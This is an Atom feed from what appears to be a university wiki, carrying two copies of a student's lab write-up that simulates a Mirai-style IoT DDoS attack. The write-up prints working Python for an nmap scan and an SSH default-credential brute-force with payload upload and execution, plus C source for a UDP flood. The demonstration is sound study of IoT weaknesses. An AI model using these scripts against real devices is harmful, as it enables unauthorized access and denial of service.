<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JWildauer</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JWildauer"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/JWildauer"/>
	<updated>2026-09-10T14:27:51Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17152</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17152"/>
		<updated>2024-12-16T14:42:37Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tool tcpdump to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
[[File:Practical_Demonstration.png|center|thumb|Test Setup]]&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Brute-Force&lt;br /&gt;
def ssh_brute_force(ip):&lt;br /&gt;
    print(f&amp;quot;\nStarte Brute-Force-Angriff auf {ip}...\n&amp;quot;)&lt;br /&gt;
    port = 22&lt;br /&gt;
    usernames = [&#039;admin&#039;, &#039;user&#039;]&lt;br /&gt;
    passwords = [&#039;1234&#039;, &#039;admin&#039;, &#039;password&#039;]&lt;br /&gt;
    local_file = &amp;quot;C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood&amp;quot;&lt;br /&gt;
    remote_path = f&amp;quot;/home/admin/udp_flood&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ssh = paramiko.SSHClient()&lt;br /&gt;
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;br /&gt;
&lt;br /&gt;
    for username in usernames:&lt;br /&gt;
        for password in passwords:&lt;br /&gt;
            try:&lt;br /&gt;
                print(f&amp;quot;Versuche: {username}:{password}&amp;quot;)&lt;br /&gt;
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)&lt;br /&gt;
                print(f&amp;quot;\nErfolgreich! Benutzer: {username}, Passwort: {password}\n&amp;quot;)&lt;br /&gt;
                input(&amp;quot;\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
                upload_and_execute(ssh, username, local_file, remote_path)&lt;br /&gt;
                return&lt;br /&gt;
            except paramiko.AuthenticationException:&lt;br /&gt;
                print(f&amp;quot;Fehlgeschlagen für: {username}:{password}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;Fehler: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ssh.close()&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def upload_and_execute(ssh, username, local_file, remote_path):&lt;br /&gt;
    try:&lt;br /&gt;
        sftp = ssh.open_sftp()&lt;br /&gt;
&lt;br /&gt;
        if os.path.exists(local_file):&lt;br /&gt;
            print(f&amp;quot;Datei gefunden: {local_file}&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;Datei nicht gefunden: {local_file}&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        print(f&amp;quot;Lade {local_file} auf {remote_path} hoch...\n&amp;quot;)&lt;br /&gt;
        sftp.put(local_file, remote_path)&lt;br /&gt;
        ssh.exec_command(f&amp;quot;chmod +x {remote_path}&amp;quot;)&lt;br /&gt;
        input(&amp;quot;\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;\nFühre {remote_path} aus...\n&amp;quot;)&lt;br /&gt;
        stdin, stdout, stderr = ssh.exec_command(f&amp;quot;{remote_path}&amp;quot;)&lt;br /&gt;
        print(stdout.read().decode())&lt;br /&gt;
        print(stderr.read().decode())&lt;br /&gt;
&lt;br /&gt;
        sftp.close()&lt;br /&gt;
        ssh.close()&lt;br /&gt;
        print(&amp;quot;\nDatei erfolgreich hochgeladen und ausgeführt.&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Fehler bei der Übertragung und Ausführung der Datei: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Hauptlogik&lt;br /&gt;
raspberry_ip = find_raspberry_pi()&lt;br /&gt;
&lt;br /&gt;
if raspberry_ip:&lt;br /&gt;
    ssh_brute_force(raspberry_ip)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;\nKein Raspberry Pi gefunden. Das Skript wird beendet.&amp;quot;)&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The C Script ==&lt;br /&gt;
This script was the one actually uploaded to the Raspberry Pi 2 and executed.&lt;br /&gt;
It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.&lt;br /&gt;
&lt;br /&gt;
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:&lt;br /&gt;
&lt;br /&gt;
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c&lt;br /&gt;
&lt;br /&gt;
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.&lt;br /&gt;
&lt;br /&gt;
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;  // Für sleep-Funktion&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    int sock;&lt;br /&gt;
    struct sockaddr_in target;&lt;br /&gt;
    char message[1024];&lt;br /&gt;
    time_t start_time, current_time;&lt;br /&gt;
&lt;br /&gt;
    // Vordefinierte Ziel-IP und Ziel-Port&lt;br /&gt;
    char target_ip[] = &amp;quot;192.168.1.238&amp;quot;;  // Ziel-IP hier festlegen&lt;br /&gt;
    int target_port = 22;               // Ziel-Port hier festlegen&lt;br /&gt;
&lt;br /&gt;
    // Fülle die Nachricht mit Dummy-Daten&lt;br /&gt;
    memset(message, &#039;X&#039;, sizeof(message));&lt;br /&gt;
&lt;br /&gt;
    // Erstelle das UDP-Socket&lt;br /&gt;
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) &amp;lt; 0) {&lt;br /&gt;
        perror(&amp;quot;Socket konnte nicht erstellt werden&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // Setze die Ziel-IP und den Port&lt;br /&gt;
    target.sin_family = AF_INET;&lt;br /&gt;
    target.sin_port = htons(target_port);&lt;br /&gt;
    target.sin_addr.s_addr = inet_addr(target_ip);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Starte UDP-Flood auf %s:%d für 30 Sekunden\n&amp;quot;, target_ip, target_port);&lt;br /&gt;
    &lt;br /&gt;
    // Starte die Zeitmessung&lt;br /&gt;
    time(&amp;amp;start_time);&lt;br /&gt;
&lt;br /&gt;
    // Sende Pakete für 30 Sekunden&lt;br /&gt;
    do {&lt;br /&gt;
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&amp;amp;target, sizeof(target));&lt;br /&gt;
        time(&amp;amp;current_time);&lt;br /&gt;
    } while (difftime(current_time, start_time) &amp;lt; 30);  // Laufzeit 30 Sekunden&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;UDP-Flooding-Angriff beendet.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    close(sock);  // Schließe das Socket&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to simulate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=User:JWildauer/IoT_DDoSAttack&amp;diff=17151</id>
		<title>User:JWildauer/IoT DDoSAttack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=User:JWildauer/IoT_DDoSAttack&amp;diff=17151"/>
		<updated>2024-12-16T14:41:22Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: JWildauer moved page User:JWildauer/IoT DDoSAttack to IoT DDoS Attack&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[IoT DDoS Attack]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17150</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17150"/>
		<updated>2024-12-16T14:41:21Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: JWildauer moved page User:JWildauer/IoT DDoSAttack to IoT DDoS Attack&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tool tcpdump to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
[[File:Practical_Demonstration.png|center|thumb|Test Setup]]&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Brute-Force&lt;br /&gt;
def ssh_brute_force(ip):&lt;br /&gt;
    print(f&amp;quot;\nStarte Brute-Force-Angriff auf {ip}...\n&amp;quot;)&lt;br /&gt;
    port = 22&lt;br /&gt;
    usernames = [&#039;admin&#039;, &#039;user&#039;]&lt;br /&gt;
    passwords = [&#039;1234&#039;, &#039;admin&#039;, &#039;password&#039;]&lt;br /&gt;
    local_file = &amp;quot;C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood&amp;quot;&lt;br /&gt;
    remote_path = f&amp;quot;/home/admin/udp_flood&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ssh = paramiko.SSHClient()&lt;br /&gt;
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;br /&gt;
&lt;br /&gt;
    for username in usernames:&lt;br /&gt;
        for password in passwords:&lt;br /&gt;
            try:&lt;br /&gt;
                print(f&amp;quot;Versuche: {username}:{password}&amp;quot;)&lt;br /&gt;
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)&lt;br /&gt;
                print(f&amp;quot;\nErfolgreich! Benutzer: {username}, Passwort: {password}\n&amp;quot;)&lt;br /&gt;
                input(&amp;quot;\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
                upload_and_execute(ssh, username, local_file, remote_path)&lt;br /&gt;
                return&lt;br /&gt;
            except paramiko.AuthenticationException:&lt;br /&gt;
                print(f&amp;quot;Fehlgeschlagen für: {username}:{password}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;Fehler: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ssh.close()&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def upload_and_execute(ssh, username, local_file, remote_path):&lt;br /&gt;
    try:&lt;br /&gt;
        sftp = ssh.open_sftp()&lt;br /&gt;
&lt;br /&gt;
        if os.path.exists(local_file):&lt;br /&gt;
            print(f&amp;quot;Datei gefunden: {local_file}&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;Datei nicht gefunden: {local_file}&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        print(f&amp;quot;Lade {local_file} auf {remote_path} hoch...\n&amp;quot;)&lt;br /&gt;
        sftp.put(local_file, remote_path)&lt;br /&gt;
        ssh.exec_command(f&amp;quot;chmod +x {remote_path}&amp;quot;)&lt;br /&gt;
        input(&amp;quot;\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;\nFühre {remote_path} aus...\n&amp;quot;)&lt;br /&gt;
        stdin, stdout, stderr = ssh.exec_command(f&amp;quot;{remote_path}&amp;quot;)&lt;br /&gt;
        print(stdout.read().decode())&lt;br /&gt;
        print(stderr.read().decode())&lt;br /&gt;
&lt;br /&gt;
        sftp.close()&lt;br /&gt;
        ssh.close()&lt;br /&gt;
        print(&amp;quot;\nDatei erfolgreich hochgeladen und ausgeführt.&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Fehler bei der Übertragung und Ausführung der Datei: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Hauptlogik&lt;br /&gt;
raspberry_ip = find_raspberry_pi()&lt;br /&gt;
&lt;br /&gt;
if raspberry_ip:&lt;br /&gt;
    ssh_brute_force(raspberry_ip)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;\nKein Raspberry Pi gefunden. Das Skript wird beendet.&amp;quot;)&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The C Script ==&lt;br /&gt;
This script was the one actually uploaded to the Raspberry Pi 2 and executed.&lt;br /&gt;
It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.&lt;br /&gt;
&lt;br /&gt;
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:&lt;br /&gt;
&lt;br /&gt;
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c&lt;br /&gt;
&lt;br /&gt;
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.&lt;br /&gt;
&lt;br /&gt;
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;  // Für sleep-Funktion&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    int sock;&lt;br /&gt;
    struct sockaddr_in target;&lt;br /&gt;
    char message[1024];&lt;br /&gt;
    time_t start_time, current_time;&lt;br /&gt;
&lt;br /&gt;
    // Vordefinierte Ziel-IP und Ziel-Port&lt;br /&gt;
    char target_ip[] = &amp;quot;192.168.1.238&amp;quot;;  // Ziel-IP hier festlegen&lt;br /&gt;
    int target_port = 22;               // Ziel-Port hier festlegen&lt;br /&gt;
&lt;br /&gt;
    // Fülle die Nachricht mit Dummy-Daten&lt;br /&gt;
    memset(message, &#039;X&#039;, sizeof(message));&lt;br /&gt;
&lt;br /&gt;
    // Erstelle das UDP-Socket&lt;br /&gt;
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) &amp;lt; 0) {&lt;br /&gt;
        perror(&amp;quot;Socket konnte nicht erstellt werden&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // Setze die Ziel-IP und den Port&lt;br /&gt;
    target.sin_family = AF_INET;&lt;br /&gt;
    target.sin_port = htons(target_port);&lt;br /&gt;
    target.sin_addr.s_addr = inet_addr(target_ip);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Starte UDP-Flood auf %s:%d für 30 Sekunden\n&amp;quot;, target_ip, target_port);&lt;br /&gt;
    &lt;br /&gt;
    // Starte die Zeitmessung&lt;br /&gt;
    time(&amp;amp;start_time);&lt;br /&gt;
&lt;br /&gt;
    // Sende Pakete für 30 Sekunden&lt;br /&gt;
    do {&lt;br /&gt;
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&amp;amp;target, sizeof(target));&lt;br /&gt;
        time(&amp;amp;current_time);&lt;br /&gt;
    } while (difftime(current_time, start_time) &amp;lt; 30);  // Laufzeit 30 Sekunden&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;UDP-Flooding-Angriff beendet.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    close(sock);  // Schließe das Socket&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to simulate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
